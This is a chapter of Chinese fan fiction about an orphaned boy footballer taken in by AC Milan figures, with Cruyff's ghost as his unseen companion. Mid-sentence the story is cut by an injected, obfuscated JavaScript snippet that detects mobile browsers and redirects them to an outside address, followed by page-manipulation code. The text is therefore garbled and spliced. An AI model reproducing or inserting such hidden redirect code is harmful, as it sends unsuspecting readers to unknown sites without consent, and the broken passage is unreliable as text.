乔瓦尼也没想到自己真的会连夜坐上巴雷西的车。
坐在副驾驶位置上的男孩看着车窗外飞速后退的街景，终于忍不住开口：“我们不是明天才去报道吗？”乔瓦尼的全部家当只有一个磨损严重的布书包，里面装着今天刚到手的新球鞋和寥寥几件衣物。
巴雷西有些不自然地清了清嗓子，目光紧盯着前方的路。他很难跟旁边的男孩说实话：今天的慈善赛来了不少媒体，多等一晚就多一份被挖墙角的风险，他必须立刻、马上把乔瓦尼送进马尔蒂尼家，因为没有哪支球队会觊觎一个走进马尔蒂尼家大门的小球员。
“从这里到米兰内洛太远了，孩子。”巴雷西选择了一个听起来很实际的借口，语气尽量放缓，“而且，我们和福利院商量了一下，打算先让你在马尔蒂尼先生家住一段时间，等你适应后再搬进青训营宿舍。”
他小心翼翼地用余光观察着男孩，暗自庆幸对方脸上没有出现抗拒或恐惧的神情，也没有对“家庭”这个字眼作出额外的反应。
“喔，好的。”乔瓦尼嘴上应了一声，但实际上他只是没反应过来，因为他的脑子正被另一个问题完全占据：马尔蒂尼？谁？
“呵。”一个只有他能听见的轻笑从后座传来，“你上次去AC米兰试训，工作人员讲的米兰队史你真是一句没听啊。”
乔瓦尼有些尴尬地搓了搓手指，当时他踢完比赛累得要死，就盼着啰嗦的工作人员赶紧讲完故事带他们去餐厅吃饭，而且他也没想到最后兜兜转转还是被AC米兰给捡走了。
克鲁伊夫以一种这是他的专车的架势坐在后座上，听到乔瓦尼心声后无奈地摇了摇头:“巴雷西是怕你跑了，要知道马尔蒂尼这个姓氏几乎可以和AC米兰画等号。如果我没猜错，他说的是切萨雷·马尔蒂尼，毕竟他不会管另一个马尔蒂尼叫‘先生’。”
乔瓦尼瞥了一眼车内后视镜，但光洁的镜面里只有空荡荡的后座椅——约翰不会被任何镜面反射。
难道……还有很多个马尔蒂尼？乔瓦尼在心里继续问道。
克鲁伊夫优哉游哉地翘起了二郎腿：“当然，老马尔蒂尼过去是AC米兰队长，现在应该是意大利国家队的主教练了，他儿子小马尔蒂尼也是AC米兰队长，上赛季末刚刚从你旁边这位手中接过袖标。之前曼联的弗格森想签下小马尔蒂尼，结果被老马尔蒂尼拒绝了，你知道他是怎么说的吗？”
乔瓦尼摇头。
克鲁伊夫立刻来了兴致：“老马尔蒂尼说：‘我的祖父是米兰人，我的父亲是米兰人，我是米兰人，我的儿子也是米兰人，忘了他吧。’如果你今晚迈进马尔蒂尼的家门，那么没有人可以把你从AC米兰手中抢走，除非球队主动卖掉你。”
乔瓦尼似懂非懂地“噢”了一声，这些内容远超出他的理解，这一年来约翰只教他战术知识，很少提及足球俱乐部的事情，因为俱乐部文化可以等到他进了青训营自己体验……等等，刚刚巴雷西说什么来着？
几秒之后，“暂时住进别人家”这个短语才像一颗迟来的子弹，猛地击中了他。
一股冰冷的紧张感忽然攥住了他的胃。过去，他也曾偷偷羡慕过福利院里那些被选中、被带走的同伴，也曾对着镜子练习过乖巧的笑容，但是他糟糕的性格与履历总让那些颇有善心的夫妇退避三舍。
然而现在，他要去一个被称为“家庭”的地方暂住？
一个可怕的念头不受控制地钻进乔瓦尼的脑海：如果今晚他在那个听起来声名显赫的“马尔蒂尼”家搞砸了，是不是连米兰内洛的大门都还没摸到，就会立刻被送回福利院？
“乔，你没有你想象得那么糟糕。”克鲁伊夫及时打断了男孩的思绪，语气带着不容置疑的笃定：“以我阅遍无数青少年的经验来看，你充其量只是说话难听，离‘麻烦’还差得远。相信我，你绝对属于能让监护人省心的那一类。”
经过一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383104|184144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年的相处，克鲁伊夫自认为对乔瓦尼足够了解，毕竟他以前可没机会跟哪个弟子每天24小时地待在一起，他甚至没有这样陪伴过自己的孩子。
克鲁伊夫知道，这个能“咬着牙往水里沉”的孩子，一旦抓住了某个目标，就会像野草钻出石缝般，迸发出惊人的生命力。
想到这里，克鲁伊夫的目光落在乔瓦尼不安的手指上，一丝几乎难以察觉的愧疚在他心中闪过。
因为他在一年前说的那个谎。
尽管克鲁伊夫比谁都清楚，那股神秘力量从未许诺过“帮少年寻找家人”，他甚至不确定乔瓦尼是否真的被父母遗弃。但他仍然选择利用乔瓦尼内心深处对亲情的渴望劝说他踢球，因为这是他所知道的唯一能点燃男孩生存意志的方式——踢球，离开福利院，然后真正地活下去。
希望马尔蒂尼家族能给这个孩子带来些许的安全感，克鲁伊夫暗自想道。
在孩子们陆续成年搬出去后，切萨雷·马尔蒂尼与妻子玛丽莎在这座充满回忆的老宅里享受着宁静的二人时光。
巴雷西按响门铃时，老马尔蒂尼夫妇正对坐在餐桌旁用晚餐。
这位米兰前队长对自己不请自来的举动其实有些心虚，可他身旁的少年自从下了车就僵硬得像根木头，浑身绷紧，紧张得几乎肉眼可见。巴雷西只好强作镇定，撑住场面。
反正切萨雷又不会拒绝他。
门开了，老马尔蒂尼看见巴雷西先是一愣，随即目光落向他身边那个脸色发白的少年。
“弗朗科，你来得正是时候，”切萨雷一边说着，一边热情地拉开门，“玛丽莎今晚意面煮得太多，我们正发愁该怎么解决。希望你和这位年轻的朋友还没用过晚餐？”
“噢，这是我们的荣幸，”巴雷西感激地答道，伸手将乔瓦尼轻轻揽向前，“正好，我们也可以在餐桌上慢慢聊聊这个年轻人——乔瓦尼·米拉尼，要我说，他可是米兰的未来。”